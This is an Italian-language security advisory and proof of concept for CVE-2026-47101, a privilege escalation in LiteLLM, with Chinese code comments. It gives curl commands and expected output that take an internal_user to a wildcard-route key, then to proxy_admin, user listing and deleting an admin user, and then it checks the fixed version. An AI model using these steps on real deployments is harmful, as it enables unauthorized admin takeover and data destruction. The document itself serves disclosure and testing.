CVE-2026-47101 — Escalation dei privilegi in LiteLLM tramite /key/generate + /user/update

L'endpoint /key/generate di LiteLLM v1.82.6 (versioni precedenti alla v1.83.14) consente a un internal_user con privilegi limitati di richiedere una chiave API con route wildcard ["/*"], e successivamente tramite l'endpoint /user/update di elevare il proprio ruolo a proxy_admin, realizzando un'elevazione dei privilegi non autorizzata.

Campo	Valore
CVE	CVE-2026-47101
CVSS v3.1	8.8 (ALTO) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-863 (Autorizzazione non corretta)
Versioni interessate	LiteLLM < 1.83.14 (confermato su v1.82.6)
Versione corretta	v1.83.14+ (aggiunto controllo del ruolo per allowed_routes)
Pubblicazione	2026-05-21
Scoperta da	Fenix Qiao (13ph03nix) — Obsidian Security
Link	Dettaglio NVD

---

Descrizione

Gli endpoint /key/generate di LiteLLM vengono utilizzati per generare chiavi API, mentre /user/update per aggiornare gli attributi utente. I controlli di autorizzazione di questi due endpoint presentano tre difetti concatenati che possono essere sfruttati in sequenza da un utente con privilegi limitati:

1. /key/generate non valida allowed_routes — qualsiasi ruolo (incluso internal_user) può richiedere route wildcard ["/*"]
2. Il controllo delle route ricade sul matching wildcard di allowed_routes — la chiave wildcard generata può accedere a tutti gli endpoint amministrativi
3. /user/update consente l'auto-modifica del campo user_role — sfruttando la chiave wildcard è possibile elevare il proprio ruolo a proxy_admin

Catena di attacco

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  获得通配符 API key
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  角色提升为 proxy_admin
  →  GET  /user/list     (使用通配符 key)
  →  验证管理员访问权限

---

Prova di concetto

Preparazione dell'ambiente

# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM（v1.82.6，digest 固定）
docker compose up -d litellm

# 等待服务就绪（约 10-30 秒）
sleep 15

Verifica che il servizio sia in esecuzione

# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10

L'output atteso dovrebbe includere log di avvio riuscito come Uvicorn running on http://0.0.0.0:4000.

Step 1: Creare un account internal_user

Utilizzando la master key, creare un account internal_user con privilegi limitati:

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Output atteso:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Annotare user_id e key restituiti: saranno necessari nei passaggi successivi.

Step 2: Generare una chiave API con route wildcard

Chiamare /key/generate come internal_user, richiedendo una chiave API con route wildcard ["/*"]:

# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Output atteso:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ Punto vulnerabile: internal_user è riuscito a generare una chiave API con route wildcard ["/*"]! Questa chiave può accedere a tutti gli endpoint amministrativi, inclusi /user/update, /user/list, ecc.

Step 3: Elevazione dei privilegi a proxy_admin

Utilizzando la chiave con route wildcard, chiamare /user/update per elevare il ruolo utente a proxy_admin:

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Output atteso:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Punto vulnerabile: user_role è stato modificato da internal_user a proxy_admin! L'endpoint /user/update consente all'utente di modificare il proprio campo user_role senza alcuna restrizione di autorizzazione.

Step 4: Verificare l'accesso amministrativo

Verificare che l'elevazione del ruolo sia effettiva tramite l'endpoint /user/list:

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

Output atteso:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

L'endpoint /user/list consente l'accesso solo al ruolo proxy_admin. Aver ottenuto con successo l'elenco utenti conferma che l'elevazione dei privilegi è effettiva.

Step 5: Estensione — Eliminare un utente amministratore

Sfruttando i privilegi proxy_admin ottenuti, è possibile eliminare qualsiasi utente tramite /user/delete:

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Output atteso:

1

---

Riproduzione con un clic

I passaggi precedenti sono stati integrati in demo.sh, eseguibile direttamente:

# 完整复现（包含步骤 1-5）
bash demo.sh

# 同时测试修复版本对比
bash demo.sh --fixed

---

Verifica della versione corretta

Avviare la versione corretta (v1.83.14-stable) per verificare che la vulnerabilità sia stata risolta:

# 启动修复版本
docker compose --profile fixed up -d litellm-fixed

# 等待就绪
sleep 15

Creare un internal_user:

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

Provare a generare una chiave con route wildcard (atteso il blocco):

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Output atteso (la versione corretta blocca le richieste non autorizzate):

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

Confronto con la versione vulnerabile:

Scenari di test	Versione vulnerabile (v1.82.6)	Versione corretta (v1.83.14)
internal_user richiede ["/*"]	✅ chiave wildcard generata con successo	❌ bloccata (HTTP 403)
la chiave wildcard modifica user_role	✅ elevazione a proxy_admin riuscita	❌ bloccata
la chiave wildcard accede a /user/list	✅ elenco utenti ottenuto	❌ bloccata

---

Endpoint vulnerabili

POST /key/generate

Genera una nuova chiave API. Il parametro allowed_routes viene utilizzato per limitare l'elenco delle route degli endpoint a cui la chiave può accedere.

Campo	Tipo	Obbligatorio	Descrizione
allowed_routes	array	No	Elenco delle route consentite, ad esempio ["/*"] indica tutte le route

POST /user/update

Aggiorna gli attributi dell'utente, incluso il campo user_role.

Campo	Tipo	Obbligatorio	Descrizione
user_id	string	Sì	ID dell'utente da aggiornare
user_role	string	Sì	Nuovo ruolo (ad es. proxy_admin)

---

Tecnica di sfruttamento

Step 1: Generare una chiave API con route wildcard

Come internal_user, chiamare /key/generate richiedendo una chiave con ["/*"]:

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json